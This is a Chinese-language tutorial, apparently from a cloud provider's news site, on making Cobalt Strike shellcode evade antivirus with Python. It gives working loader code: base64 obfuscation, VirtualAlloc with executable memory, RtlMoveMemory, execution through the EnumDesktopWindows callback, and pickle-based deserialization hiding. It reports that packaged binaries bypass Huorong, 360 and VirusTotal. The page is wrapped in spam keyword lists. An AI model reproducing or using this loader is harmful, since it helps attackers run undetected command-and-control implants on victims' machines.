91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

python?如何通過對cs生成的shellcode進行處理從而簡單的繞過免殺

發布時間:2021-10-09 15:55:43 來源:億速云 閱讀:626 作者:柒染 欄目:網絡管理

python如何通過對cs生成的shellcode進行處理從而簡單的繞過免殺,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

如何通過對cs生成的shellcode進行處理,從而簡單的繞過免殺。

代碼如下

python?如何通過對cs生成的shellcode進行處理從而簡單的繞過免殺python?如何通過對cs生成的shellcode進行處理從而簡單的繞過免殺

取出shellcode內容

先對cs生成的payload.py進行處理,提取出相關的shellcode代碼

shellcode = open('payload.py')
shellcode = shellcode.read()
# 取出shellcode內容
s1 = shellcode.find("\"")+1
s2 = shellcode.rfind("\"")
shellcode =  shellcode[s1:s2]

base64加密

對shellcode進行base64加密進行混淆

shellcode = str(base64.b64encode(shellcode.encode('UTF-8')), 'UTF-8')

構造shellcode加載器

對shellcode進行base64解密

shellcode = base64.b64decode(shellcode)
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)

設置VirtualAlloc返回類型為ctypes.c_unit64

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

調用VirtualAlloc函數,來申請一塊動態內存區域

VirtualAlloc函數原型和參數如下:
LPVOID VirtualAlloc{
LPVOID lpAddress, #要分配的內存區域的地址
DWORD dwSize,      #分配的大小
DWORD flAllocationType, #分配的類型
DWORD flProtect     #該內存的初始保護屬性
};
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

將shellcode載入內存

從指定內存地址將內容復制到我們申請的內存中去,shellcode字節多大就復制多大

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)

回調函數注入shellcode

python?如何通過對cs生成的shellcode進行處理從而簡單的繞過免殺

回調函數是一個被作為參數傳遞的函數

機制

⑴定義一個回調函數;

⑵提供函數實現的一方在初始化的時候,將回調函數的函數指針注冊給調用者;

⑶當特定的事件或條件發生的時候,調用者使用函數指針調用回調函數對事件進行處理。

當我們向需要回調函數的參數傳遞一個函數指針時,一旦函數指針被用來調用這個函數,它指向的是回調被執行了。這可以被濫用來注入 shellcode 而不是函數指針。

windows下可以利用的回調函數有很多,本文用的是EnumDesktopWindows這個函數

EnumDesktopWindows 枚舉與指定桌面關聯的所有頂級窗口,然后將每個窗口句柄傳遞給給應用程序定義的回調函數。

BOOL EnumDesktopWindows(  HDESK       hDesktop,  WNDENUMPROC lpfn,  LPARAM      lParam);
參數
hDesktop
要枚舉其頂級窗口的桌面的句柄。該句柄由 CreateDesktop, GetThreadDesktop,OpenDesktop或 OpenInputDesktop函數返回,并且必須具有DESKTOP_READOBJECTS訪問權限。如果此參數為NULL,則使用當前桌面。
lpfn
指向應用程序定義的EnumWindowsProc回調函數的指針 。
lParam
應用程序自定義的值,將傳遞給回調函數。

第二個參數是回調函數的指針,這樣就可以傳遞與位置無關的 shellcode。

反序列化加載

先對loader進行序列化,在對序列化的代碼進行base64加密

class A(object):
    def __reduce__(self):
        return (exec, (code,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)

最后反序列化加載loader

strinq=b'cGlja2xlLmxvYWRzKGJhc2U2NC5iNjRkZWNvZGUoY29kZSkp'
eval(str(base64.b64decode(strinq),'utf-8'))

通過__reduce__這個魔術方法執行了loader

def __reduce__(self):
        return (exec, (code,))

就可以成功繞過殺軟,上線cs了

通過pyinstaller生成exe,進行測試

火絨
python?如何通過對cs生成的shellcode進行處理從而簡單的繞過免殺360殺毒
python?如何通過對cs生成的shellcode進行處理從而簡單的繞過免殺360安全衛士
python?如何通過對cs生成的shellcode進行處理從而簡單的繞過免殺vt查殺
python?如何通過對cs生成的shellcode進行處理從而簡單的繞過免殺

關于python如何通過對cs生成的shellcode進行處理從而簡單的繞過免殺問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

达州市| 济阳县| 迁西县| 怀集县| 林西县| 巨鹿县| 临西县| 临洮县| 滨州市| 汪清县| 兴安县| 大余县| 广南县| 五常市| 邹平县| 新兴县| 新巴尔虎左旗| 天峻县| 洛宁县| 乡城县| 朝阳县| 微山县| 冷水江市| 阿勒泰市| 浮山县| 木兰县| 金湖县| 九江市| 宝应县| 迁西县| 普定县| 天峨县| 齐河县| 白城市| 明溪县| 藁城市| 吴桥县| 凤山县| 舒城县| 宕昌县| 资兴市|